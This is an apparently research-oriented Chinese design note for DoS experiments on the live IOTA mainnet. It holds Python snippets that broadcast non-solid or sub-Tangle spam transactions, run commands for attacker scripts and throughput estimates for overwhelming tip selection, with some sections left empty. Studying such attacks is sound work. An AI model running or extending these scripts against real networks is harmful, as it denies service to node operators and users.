在有 coordinator 的 Tangle 上的實驗 === 接續[前文](https://hackmd.io/s/SJ7i1QnIX) , 來說說 mainnet 的實驗要驗證什麼與如何實作 # 帳本篡改 交易是不是確認就看有沒有被 milestone 指向 milestone 有簽章 所以篡改或總 token 數目不對是簽章能不能偽造 這不是 FPGA accelerator 能做的 , 所以不考慮這實驗 # DoS 攻擊 DoS(阻絕服務攻擊) , 目前才是 mainnet 會遇到的 在討論可能的 DoS 攻擊前 , 先介紹 MCMC tip selection 的特點 ## MCMC tip selection 回顧 [1.5.0 tip selection](https://hackmd.io/s/HyddgJGGX) 可以知道幾件事: :::info * random walk 的起點一定是 milestone * 最終一定是選到當下 Tangle 的 tip * random walk 每一步以 IRI 預設 , 都會受累積權重的影響 ::: 這邊累積權重指的是一筆交易後面有多少交易直接或間接指向 , 所以 PoW 目前不影響 MCMC tip selection 有了上面的特性 , 可以繼續討論 根據 IF 成員的說法 milestone 也是用 MCMC 選出 trunk 與 branch 依據上面列舉的三個特性 , 那就有三種攻擊的方式 # MCMC 起點 由於 random walk 一定要從某個 milestone 當起點開始行走 所以可以在起點就用大的機率 , 讓 random walk 走到不該選的 tip 示意圖如下: ```graphviz digraph init{ rankdir=RL; a[ label="c" color=blue, fontcolor=blue, fontsize=24, shape=box]; b[label="b" color=blue, fontcolor=blue, fontsize=24, shape=box]; c[label="a" color=blue, fontcolor=blue, fontsize=24, shape=box] e[label="e" color=orange, fontcolor=orange, fontsize=24, shape=box] d[label="d" color=blue, fontcolor=blue, fontsize=24, shape=box] 41[label="41" color=blue, fontcolor=blue, fontsize=24, shape=box] 31[label="31" color=blue, fontcolor=blue, fontsize=24, shape=box] 42[label="42" color=orange, fontcolor=orange, fontsize=24, shape=box] 21[label="21" color=blue, fontcolor=blue, fontsize=24, shape=box] 32[label="32" color=blue, fontcolor=blue, fontsize=24, shape=box] 43[label="43" color=blue, fontcolor=blue, fontsize=24, shape=box] 33[label="33" color=blue, fontcolor=blue, fontsize=24, shape=box] 22[label="22" color=blue, fontcolor=blue, fontsize=24, shape=box] 11[label="11" color=blue, fontcolor=blue, fontsize=24, shape=box] a -> c; b -> c; a -> c; b -> c; e -> a; e -> b; d -> a; d -> b; 41->e; 41->d; 31->d; 31->d; 42->41; 42->31; 21->e; 21->d; 32->21; 32->31; 43->42; 43->32; 11->e; 11->e; 22->21; 22->31; 33->22; 33->42; A1->e; A1->nonExist; A2->A1; A2->e; A3->A2; A3->A1; A4->A1; A4->A2; A5->A3; A5->A4; A6->42; A6->A5; A7->A5; A7->A4; A8->A3; A8->A6; A9->42; A9->A7; A10->A9; A10->A8; } ``` $A1$ 到 $A10$ , 都是 FPGA accelerator 造出來的 $\color{orange}{e}$ 和 $\color{orange}{42}$ 是 milestone ### non solid 上面示意圖就是 non solid 的例子 non solid 會讓 getTransactionsToApprove 失敗 現在來談攻擊實作上要考慮的問題 ## tipset 包含到第15深的 milestone , 以及攻擊產生的 tip (上圖 $A1$ ~ $A10$) 這些 tips 是給 FPGA accelerator 使用 可能分兩組 , 一組是驗證 milestone 與攻擊的subTangle 另一組就只驗證攻擊的subTangle 特別注意 , 目前交易的累積權重是有上限的(IRI 預設 5000) ## 如何維護 milestone 由於 milestone 會不斷更新 , 所以針對某組的 milestone 會隨著時間變得攻擊沒有意義(超過第15深的milestone) 如果要做多次實驗 , 需要有個 process 不斷更新 milestone ## 在攻擊期間維護 subTangle 的 tip 跟上面維護 milestone 類似 , 不同的是維護攻擊 subTangle 的 tip 所以這 process 只會在攻擊期間運作 ## 流程 1. 維護 milestone 的 process 常駐 2. 開啟 tipset 提到的兩組程式 3. 用 tangle-analytics 觀察 4. 測試攻擊期間gTTA的狀況與交易確認的情況 ## 架構 架構流程圖: ```graphviz digraph Attack_Architecture{ attack_init->IOTA_Reference_Implementation [label = " attack_start"]; milestone_attacker->IOTA_Reference_Implementation [label = " tip_request"]; milestone_attacker->IOTA_Reference_Implementation [label = " milestone_request"]; subTangle_attacker->IOTA_Reference_Implementation [label = " tip_request"]; milestone_attacker->IOTA_Reference_Implementation[label=" broadcastTransaction"]; subTangle_attacker->IOTA_Reference_Implementation[label=" broadcastTransaction"]; IOTA_Reference_Implementation->subTangle_attacker[label="give_tip"]; IOTA_Reference_Implementation->milestone_attacker[label="give_milestone"]; IOTA_Reference_Implementation->milestone_attacker[label="give_tip"]; gTTA_tester->IOTA_Reference_Implementation[label="getTransactionsToApprove"]; IOTA_Reference_Implementation->gTTA_tester[label="result"]; transaction_issuer->IOTA_Reference_Implementation[label="broadcastTransaction"]; confirmed_transaction_tester->IOTA_Reference_Implementation[label="Is confirmed?"]; IOTA_Reference_Implementation->confirmed_transaction_tester[label="result"]; attack_end->IOTA_Reference_Implementation [label = " attack_end"]; } ``` ### attack_init 發一筆交易到 Mainnet , 這交易帶有攻擊開始的 message 另外這交易的 trunk 或 branch 是指向衝突交易或不存在的交易 ```=java from config import * from tool import * api = Iota(Node1, seed=SEED) # nonSolid DOS attack if attackType == "nonSolid": nodeInfo = api.get_node_info() cMilestone = nodeInfo['latestSolidSubtangleMilestone'] rTips = {'trunkTransaction':cMilestone,'branchTransaction':nonSolidTransaction} send_transfer(startMessage,"",ADDRESS,0,rTips,0) print("milestone:"+ str(cMilestone)) print("startMessage:"+ str(startMessage)) # conflictTransaction DOS attack ``` [執行結果](https://thetangle.org/tag/TESTDOSATTACKSTART) ### attack_end 發一筆交易到 Mainnet , 這交易帶有攻擊結束的 message ### subTangle_attacker 開始執行後 , 先不斷查詢 , 有無攻擊開始 message 的交易 如果有攻擊開始 message 的交易 , 進入一個 while loop while loop 依序做三件事: 1. 找出 tips , 這些 tips 直接或間接指向攻擊開始 message 的交易 2. 發交易 , 把 tips 內的 tip 都指向一次 3. 如果發現有攻擊結束 message 的交易 , 程式結束執行 #### 找 subTangle 的 tip [getReferenceTips](https://github.com/DLTcollab/DOS-attack-with-FPGA-accelerator/blob/master/tool.py#L178) code: ```=java def getReferenceTips(node,currentList): """ """ tipSet = [] while currentList != []: print("currentList:") print(currentList) for transactionHash in currentList: print("transactionHash:") print(transactionHash) checkResult = node.find_transactions(approvees=[transactionHash]) print("checkResult:") print(checkResult) if checkResult['hashes'] == []: tipSet.append(transactionHash) currentList = node.find_transactions(approvees=currentList)['hashes'] return tipSet ``` 測試例子的[起點](https://thetangle.org/transaction/YJQZCSYJMMZXOFORITQTLHYLTJAKOWOMXOWMQULUVJ9PWBJNRIZTXNVABUTSUWNUHDTRGEGJMVRYA9999) 直接執行的結果 ``` tips: ['YJQZCSYJMMZXOFORITQTLHYLTJAKOWOMXOWMQULUVJ9PWBJNRIZTXNVABUTSUWNUHDTRGEGJMVRYA9999'] ``` 嘗試發一筆交易 , 接到起點後再來查詢 示意圖: ```graphviz digraph init{ rankdir=RL; a[ label="a" color=blue, fontcolor=blue, fontsize=24, shape=box]; c[label="c" color=blue, fontcolor=blue, fontsize=24, shape=box] c -> a; c -> a; } ``` 查詢的結果 ``` tips: [TransactionHash(b'GTBFDPNJDAKBDKWV9XVWCW9TDELFYZCXW9ONIGGAYBWSNRPWQJJZAHNVMQIFFOHOYKDXSBMIKPFL99999')] ``` 再發一筆 , 如下圖 ```graphviz digraph init{ rankdir=RL; a[ label="a" color=blue, fontcolor=blue, fontsize=24, shape=box]; c[label="c" color=blue, fontcolor=blue, fontsize=24, shape=box] d[label="d" color=blue, fontcolor=blue, fontsize=24, shape=box] c -> a; c -> a; d -> a; d -> a; } ``` 結果: ``` tips: [TransactionHash(b'GTBFDPNJDAKBDKWV9XVWCW9TDELFYZCXW9ONIGGAYBWSNRPWQJJZAHNVMQIFFOHOYKDXSBMIKPFL99999'), TransactionHash(b'JFXCK9YJOWFETUEOGNULAVSMMQWFBIVZFW9BXZMJZC9ADIQNSODHMLMOUEBSNWWBGCXNBBCQSQLX99999')] ``` 測一筆交易驗證上面的結果 , 如下圖 ```graphviz digraph init{ rankdir=RL; a[ label="a" color=blue, fontcolor=blue, fontsize=24, shape=box]; c[label="c" color=blue, fontcolor=blue, fontsize=24, shape=box] d[label="d" color=blue, fontcolor=blue, fontsize=24, shape=box] e[label="e" color=blue, fontcolor=blue, fontsize=24, shape=box] c -> a; c -> a; d -> a; d -> a; e->d; e->c; } ``` 查詢結果: ``` tips: [TransactionHash(b'MQQXPGHUQXHITYHTMYWPYXGKNAEUGZP9BFISJSF9UESABUYTIWUJQXWZYHPLSBKDEWIUVTA9XVGC99999')] ``` d 多一個 tip , c 多一個 tip 如下圖: ```graphviz digraph init{ rankdir=RL; a[ label="a" color=blue, fontcolor=blue, fontsize=24, shape=box]; c[label="c" color=blue, fontcolor=blue, fontsize=24, shape=box] d[label="d" color=blue, fontcolor=blue, fontsize=24, shape=box] e[label="e" color=blue, fontcolor=blue, fontsize=24, shape=box] h[label="h" color=blue, fontcolor=blue, fontsize=24, shape=box] g[label="g" color=blue, fontcolor=blue, fontsize=24, shape=box] c -> a; c -> a; d -> a; d -> a; e->d; e->c; g->c; g->c; h->d; h->d; } ``` 查詢結果: ``` tips: [TransactionHash(b'LLFTDXIJTTGITPHYZWIIX9EFFUSTTBKNZMQCQYWMZL99IMAAFUBNCPFZHRYHAWKAKHINLXCAT9LCA9999'), TransactionHash(b'MQQXPGHUQXHITYHTMYWPYXGKNAEUGZP9BFISJSF9UESABUYTIWUJQXWZYHPLSBKDEWIUVTA9XVGC99999'), TransactionHash(b'VRZFSLMGHUFOTITL9ZLEKISWJXRBPWKGFXWORLIUULWBTEFXPAW9XDOMKXKLS99Q9NGYJKJTKZARA9999')] ``` 再給 a 一個 tip 查詢結果: ``` tips: [TransactionHash(b'9IAEXXETGFPRSFVHTYKVQRUBKBDOBEVPKVWSAJZDNKBSGAHZNTHATVCWGZAZCCJGQQPZOFYBUTVX99999'), TransactionHash(b'LLFTDXIJTTGITPHYZWIIX9EFFUSTTBKNZMQCQYWMZL99IMAAFUBNCPFZHRYHAWKAKHINLXCAT9LCA9999'), TransactionHash(b'MQQXPGHUQXHITYHTMYWPYXGKNAEUGZP9BFISJSF9UESABUYTIWUJQXWZYHPLSBKDEWIUVTA9XVGC99999'), TransactionHash(b'VRZFSLMGHUFOTITL9ZLEKISWJXRBPWKGFXWORLIUULWBTEFXPAW9XDOMKXKLS99Q9NGYJKJTKZARA9999')] ``` 看起來是沒問題 ### milestone_attacker 如同 subTangle_attacker 一樣 , 開始執行後不斷查詢有沒有攻擊開始 message 的交易 發現有攻擊開始 message 的交易後 , 進入 while loop while loop 做以下四件事: 1. 找出 tips , 這些 tips 直接或間接指向攻擊開始 message 的交易 2. 查詢新的 milestone 並刪除超過第 15 個深的 milestone 3. 發交易 , 交易指向 milestone 與 1. 所說的 tip 4. 如果發現有攻擊結束 message 的交易 , 程式結束執行 milestone 會有一個 table 來紀錄 , 內容是 milestone 與 對應的深度 相關的想法如下: :::info 可以攻擊後 , 取 node 的solid 的 milestone 並放入 table , 這時深度是 0 在 while loop 時 , 每次查詢新的 milestone , 就同時用 command 檢查新的 milestone 指向多少舊的 milestone 如果有舊的被指向 , 對應的深度就加一 如果有 milestone 深度超過 15 , 就從 table 刪除 ::: ### getTransationToApprove(gTTA_tester) ### transaction_issuer / confirmed_transaction_tester ## 預期結果 ### non solid #### 非攻擊期間 gTTA 時間不會太久 #### 攻擊期間 gTTA 沒回應 , 花很長的時間或回傳 error #### 攻擊後 ### 衝突交易 #### 非攻擊期間 確認時間不長 , CTPS 比例高 #### 攻擊期間 確認時間變長 , CTPS 比例下降 #### 攻擊後 # 分支有最大權重 # 沒有 tip 可以選 # 整個攻擊的流程 ## 攻擊前準備 先設定 [config.py](https://github.com/DLTcollab/DOS-attack-with-FPGA-accelerator/blob/master/config.py) 內的參數 , 接著把 [DOS-attack-with-FPGA-accelerator](https://github.com/DLTcollab/DOS-attack-with-FPGA-accelerator) 部署到要做攻擊的機器上 特別注意 :::warning 各機器上的 config.py 必須一樣的參數 ::: 接下來執行 ```=java python3 subTangle_attacker.py ``` 或 ```=java python3 milestone_attacker.py ``` ## 攻擊 如果要開始攻擊 , 執行 ```=java python3 attack_init.py ``` 想要攻擊結束 , 執行 ```=java python3 attack_end.py ``` # 在 Main net 上測試的問題 整個攻擊要有效果的關鍵是 :::info 洗到 subTangle 有 5k 以上的交易時 , random walk 要可能走到 subTangle ::: ## 要 5k 以上的理由 由於算權重的[上限](https://github.com/iotaledger/iri/blob/937cb4046ad12f813ad1c04a4613f69ca2af8cc6/src/main/java/com/iota/iri/service/tipselection/impl/CumulativeWeightCalculator.java#L31) , 預設是 5k Mainnet 上的 IRI , 可以自由修改上限 所以 5k 是個建議值 實際上 , 不同的預設值 , 會對走到 subTangle 有不同的機率 假設預設 5k , 目前的 Tangle 示意圖如下: ```graphviz digraph init{ rankdir=RL; a[ label="c" color=blue, fontcolor=blue, fontsize=24, shape=box]; b[label="b" color=blue, fontcolor=blue, fontsize=24, shape=box]; c[label="a" color=blue, fontcolor=blue, fontsize=24, shape=box] e[label="e" color=blue, fontcolor=blue, fontsize=24, shape=box] d[label="d" color=blue, fontcolor=blue, fontsize=24, shape=box] g[label="5k" color=red, fontcolor=red, fontsize=24, shape=circle] h[label="7k" color=red, fontcolor=red, fontsize=24, shape=circle] a -> c; b -> c; a -> c; b -> c; e -> a; e -> b; d -> a; d -> b; h->d; g->d; } ``` 在 5k 下 , 從 d 走到 5k 的 subTangle 和走到 7k 的 subTangle 是一樣的機率 可是如果預設是 10000 那走到 7k 的 subTangle 的機率會比較高 由於各 IRI 可能是不同的值 , 所以不會每個 node 都有 DoS 的效果 ## random walk 可能走到 subTangle 另一個是洗到特定的數量 , 也要可能走到洗的 subTangle 目前的 gTTA command , 一定有一個是從 milestone 開始 random walk 預設最深是第 15 個深 milestone 所以從 0 洗到 5k 的 subTangle , 這 subTangle 指向 MainTangle 的交易必須在 solid milestone 到 第15個深 milestone 之間 這就要求攻擊的機器 , 發出的 TPS 不能太低 milestone 由[觀察網站](http://coordinator.iotawatch.it/) 目前是 1 分鐘 , 也曾經是 30 秒 以 30 秒來算 , 最短情況下 , 7.5 分鐘會讓一開始的 solid milestone 變成第 16 個深的 milestone 換句話說 , 需要能在 7.5 分鐘內從 0 洗到 5k 的能力 大約是 11 TPS 的能力 如果要洗 5k 以上 , 需要更高的 TPS ###### tags: `IOTA`